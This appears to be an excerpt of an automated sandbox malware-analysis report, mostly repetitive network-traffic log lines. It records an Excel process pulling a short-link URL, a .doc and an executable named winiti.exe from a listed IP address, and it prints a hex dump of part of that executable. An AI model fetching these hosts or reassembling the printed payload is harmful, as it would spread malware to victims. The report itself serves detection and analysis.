Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 104.219.239.104:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 104.219.239.104:80
Source: excel.exe Memory has grown: Private usage: 4MB later: 37MB
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:40:27 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 16 Jul 2024 19:13:36 GMTETag: "e8400-61d6224798859"Accept-Ranges: bytesContent-Length: 951296Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 60 c6 96 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 78 0e 00 00 0a 00 00 00 00 00 00 1e 96 0e 00 00 20 00 00 00 a0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c9 95 0e 00 4f 00 00 00 00 a0 0e 00 18 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 0c 00 00 00 28 6d 0e 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 76 0e 00 00 20 00 00 00 78 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 06 00 00 00 a0 0e 00 00 08 00 00 00 7a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0e 00 00 02 00 00 00 82 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd 95 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 04 05 01 00 4c 55 00 00 03 00 00 00 49 00 00 06 50 5a 01 00 d8 12 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 2a c2 02 16 7d 02 00 00 04 02 72 01 00 00 70 7d 03 00 00 04 02 14 7d 05 00 00 04 02 28 15 00 00 0a 00 00 02 28 0f 00 00 06 00 02 03 7d 01 00 00 04 2a 00 1b 30 03 00 82 00 00 00 01 00 00 11 00 14 0a 00 72 03 00 00 70 73 16 00 00 0a 0a 06 6f 17 00 00 0a 00 72 ba 00 00 70 0b 07 06 73 18 00 00 0a 0c 73 19 00 00 0a 0d 08 73 1a 00 00 0a 13 04 11 04 09 6f 1b 00 00 0a 26 02 09 6f 1c 00 00 0a 16 6f 1d 00 00 0a 7d 04 00 00 04 02 7b 06 00 00 04 02 7b 04 00 00 04 6f 1e 00 00 0a 00 00 de 13 13 05 00 11 05 6f 1f 00 00 0a 28 20 00 00 0a 26 00 de 00 de 0a 00 06 6f 21 00 00 0a 00 00 dc 2a 00 00 01 1c 00 00 00 00 03 00 5f 62 00 13 20 00 00 01 02 00 03 00 74 77 00 0a 00 00 00 00 13 30 04 00 c2 00 00 00 02 00 00 11 00 02 7b 07 00 00 04 72 01 00 00 70 6f 22 00 00 0a 00 02 7b
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DATAWAGONUS DATAWAGONUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.239.104
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\37D00239.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /dGa HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /80/winiti.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 104.219.239.104Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: tny.wtf
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:40:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oUDIJoRUGvNJ0PNTuX7ZUsOG4uZhD8nTjir3U26jCZtfdcUpt6EmhafoL32hISzG0PbtgJUL0prVl%2Fji9sHwKu5fBApgukv%2Br9j%2Fzuq4ZC0URzfg%2BiMWXLxb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a941d47ceed5e79-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:40:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=plG0JCxoAKlGuo26MmlKyEXJVvVj%2Bf8tpWJBrWUSZ3eXFfejgYUVbeskNpEmJSH%2BakRDz19hd20DkL%2FpH1JaNAwp5VGCQQPRxFCVOvviqJ2ml9WAn2waQIV3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a941d4bd98e5e79-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
